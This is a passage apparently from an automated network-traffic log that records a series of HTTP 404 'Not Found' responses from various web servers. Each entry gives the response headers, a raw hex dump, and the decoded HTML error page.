http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:21:35 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 22:21:37 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:22:40 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:22:43 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:22:46 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/html; charset=iso-8859-1content-length: 196date: Fri, 10 Jan 2025 22:22:48 GMTserver: LiteSpeedx-tuned-by: N0Cconnection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Fri, 10 Jan 2025 22:24:38 GMTtransfer-encoding: chunkedconnection: closeData Raw: 32 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 0d 0a 33 46 42 41 0d 0a 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Fri, 10 Jan 2025 22:24:43 GMTtransfer-encoding: chunkedconnection: closeData Raw: 31 31 46 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 63 46 35 7a 65 4d 4e 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Fri, 10 Jan 2025 22:24:43 GMTtransfer-encoding: chunkedconnection: closeData Raw: 32 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 0d 0a 35 41 32 0d 0a 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 63 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Fri, 10 Jan 2025 22:24:46 GMTtransfer-encoding: chunkedconnection: closeData Raw: 33 33 45 41 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 57 65 62 73 69 74 65 20 6e 6f 74 20 66 6f 75 6e 64 e2 80 a6 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 3e 0a 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 70 6e 67 3b 62 61 73 65 36 34 2c 69 56 42 4f 52 77 30 4b 47 67 6f 41 41 41 41 4e 53 55 68 45 55 67 41 41 41 45 41 41 41 41 42 41 43 41 59 41 41 41 43 71 61 58 48 65 41 41 41 41 41 58 4e 53 52 30 49 41 72 73 34 63 36 51 41 41 43 48 68 4a 52 45 46 55 65 41 48 64 57 32 6c 73 48 45 55 57 72 71 71 5a 73 54 33 6a 32 46 6d 62 48 42 78 42 58 73 79 47 73 41 73 43 43 52 49 52 67 6a 69 63 41 32 4a 48 52 41 74 45 51 74 48 43 6a 32 69 31 69 68 41 53 67 6e 43 45 4f 46 6e 45 6a 39 6a 68 4e 41 67 70 49 43 37 78 41 36 52 6f 45 59 65 49 69 42 30 57 45 67 64 4c 69 59 53 53 72 41 54 69 32 4a 42 73 49 42 41 4d 50 6d 49 6e 64 6a 7a 6a 65 44 78 56 2b 37 33 78 74 4e 55 7a 37 75 6e 70 71 75 6b 5a 6a 2b 67 66 72 75 70 36 72 39 37 33 76 61 2b 72 71 32 71 36 32 35 77 56 2b 4c 6a 77 30 4b 75 52 6f 64 35 54 69 35 52 53 53 78 52 6e 69 78 52 6a 63 7a 68 6a 4e 59 43 74 55 55 78 52 79 54 6a 6a 67 79 67 47 59 52 75 45 72 5a 63 72 64 70 42 7a 66 71 42 36 7a 6e 6b 48 75 78 65 75 6a 35 4a 50 6f 51 37 67 2b 58 39 63 65 2b 6a 56 30 48 2f 37 42 74 5a 49 4a 65 39 6e 54 46 33 48 46 41 73 61 6f 58 41 32 44 6e 6d 2b 45 46 78 73 76 33 78 32 37 58 75 48 46 36 36 50 47 38 56 78 36 65 53 72 41 48 2f 73 66 4b 75 69 4c 39 72 39 45 4b 37 6b 2f 62 69 36 46 37 6e 67 61 70 73 77 53 6e 34 42 32 65 30 58 38 4b 71 32 59 30 30 50 6e 4e 4d 4f 6b 4b 57 44 62 77 4a 55 64 54 79 39 49 43 48 6a 2f 30 4c 79 56 32 66 42 38 71 55 5a 68 4c 38 4d 69 4e 44 64 77 34 30 62 6a 2f 67 52 55 50 67 52 70 4c 4a 39 32 39 2f 47 31 66 6a 68 51 69 64 50 58 41 6d 44 73 41 6a 54 44 2b 35 35 6a 34 42 49 52 2b 74 71 4a 65 57 48 49 4f 4f 4c 6d 42 70 4a 53 53 37 45 48 64 48 47 35 70 30 61 66 61 61 34 35 69 56 41 5a 55 66 4c 56 56 4b 70 2f 62 67 73 4d 36 5a 45 4c 6b 59 44 5a 32 63 46 35 7a 65 4d 4e 4
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Fri, 10 Jan 2025 22:26:17 GMTContent-Type: text/html; charset=utf-8Content-Length: 2966Connection: closeVary: Accept-EncodingETag: "66cce1df-b96"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 62 6f 64 79 20 7b 0a 09 09 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 09 09 09 09 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 25 3b 0a 09 09 09 09 63 6f 6c 6f 72 3a 20 23 35 64 35 64 35 64 3b 0a 09 09 09 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 2d 61 70 